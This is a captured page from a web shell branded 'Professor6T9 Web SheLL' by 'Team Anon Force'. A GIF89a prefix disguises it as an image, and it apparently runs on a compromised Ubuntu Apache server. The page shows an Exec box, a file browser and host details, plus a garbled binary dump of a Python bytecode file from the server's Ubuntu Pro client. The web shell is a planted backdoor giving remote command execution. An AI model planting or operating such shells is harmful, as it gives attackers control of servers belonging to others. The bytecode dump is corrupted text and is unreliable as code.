GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
uaclient
/
__pycache__
[ HOME ]
Exec
Submit
File Name : security.cpython-310.pyc
o 8�-d� � @ s� d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlmZ d dlm Z m Z mZmZm Z mZmZ d dlmZmZmZmZmZmZ d dlmZ d dlmZmZ d dlmZmZ d d lm Z m!Z!m"Z" d d l#m$Z$ d dl%m&Z&m'Z' d dl(m)Z) d d l*m+Z+m,Z, d dl-m.Z. d dl/m0Z0 d dl1m2Z2 dZ3dZ4dZ5dZ6dZ7dZ8dZ9dZ:edde;fdee< fdee< fde;fg�Z=edde<fd e<fd!e<fg�Z>ej?G d"d#� d#ej@��ZAG d$d%� d%ejB�ZCG d&d'� d'�ZDG d(d)� d)�ZEG d*d+� d+�ZFd,e e<e e<e<f f fd-d.�ZGd/eeF d0e e<e;f d,e e<e e<e e<e<f f f fd1d2�ZHd3d4� ZI 5dzd6e$d7e<d8e;d,eAfd9d:�ZJd;d<� ZKd=d>� ZLd?eFd@e e<e e<e<f f d,e e<eDf fdAdB�ZMdCeEd@e e<e e<e<f f d,e e<eDf fdDdE�ZNd7e<dFe e<eDf fdGdH�ZOdIeDdJe e<e e<e<f f d,eDfdKdL�ZPdMdN� ZQdOeee<eDf dPeRdQeRd,e<fdRdS�ZSdTe<d6e$fdUdV�ZTdTe<d6e$d,e;fdWdX�ZUd6e$dYe e<eee<eDf f dZe e<ee> f dPeRdQeRd8e;d,e=fd[d\�ZVdee< d,e<fd]d^�ZWd6e$d7e<dFe e<eDf d@e e<e e<e<f f d_e e<e e<e e<e<f f f d8e;d,eAfd`da�ZXd{dbdc�ZYd6e$dde<d,e;fdedf�ZZd6e$fdgdh�Z[d6e$d,e;fdidj�Z\d6e$dke<d,e;fdldm�Z]d6e$d8e;d,e;fdndo�Z^dTe<d6e$d8e;d,e;fdpdq�Z_d6e$d,e;fdrds�Z`dte e<e f d6e$d8e;d,e;fdudv�Zad6e$dwee< dTe<d8e;d,e;f dxdy�ZbdS )|� N)�defaultdict)�datetime)�Any�Dict�List� NamedTuple�Optional�Set�Tuple)�apt� exceptions�messages� serviceclient�system�util)� _initiate)�MagicAttachRevokeOptions�_revoke)�MagicAttachWaitOptions�_wait)�CLOUD_TYPE_TO_TITLE� PRO_CLOUDS�get_cloud_type)�UAConfig)�BASE_UA_URL�PRINT_WRAP_WIDTH)�entitlement_factory)�ApplicabilityStatus�UserFacingStatus)�notices)�Notice)�colorize_commandsz=((CVE|cve)-\d{4}-\d{4,7}$|(USN|usn|LSN|lsn)-\d{1,5}-\d{1,2}$)z cves.jsonzcves/{cve}.jsonznotices.jsonznotices/{notice}.jsonzUbuntu standard updateszUbuntu Pro: ESM InfrazUbuntu Pro: ESM Apps�ReleasedPackagesInstallResult� fix_status�unfixed_pkgs�installed_pkgs�all_already_installed�BinaryPackageFix� source_pkg� binary_pkg� fixed_versionc @ s e Zd ZdZdZdZdZdS )� FixStatuszD An enum to represent the system status after fix operation r � � N)�__name__� __module__�__qualname__�__doc__�SYSTEM_NON_VULNERABLE�SYSTEM_STILL_VULNERABLE�SYSTEM_VULNERABLE_UNTIL_REBOOT� r5 r5 �3/usr/lib/python3/dist-packages/uaclient/security.pyr+ G s r+ c s6 e Zd ZdZdZejZdee e f dee e f fdd�Zej ejg d�d� d#� fd d� �Z d$dee d ee dee dee dee dee dee deee ded fdd�Zde ddfdd�Z d%dee dee dee dee dee ded fdd�Zd e ddfd!d"�Z� ZS )&�UASecurityClient� �security_url�query_params�returnc C s. | j j �di ��di �}|r|�|� |S |S )zD Update query params with data from feature config. �features�extra_security_params)�cfg�get�update)�selfr: r= r5 r5 r6 �_get_query_paramsX s � z"UASecurityClient._get_query_params)r, � � )�retry_sleepsNc s"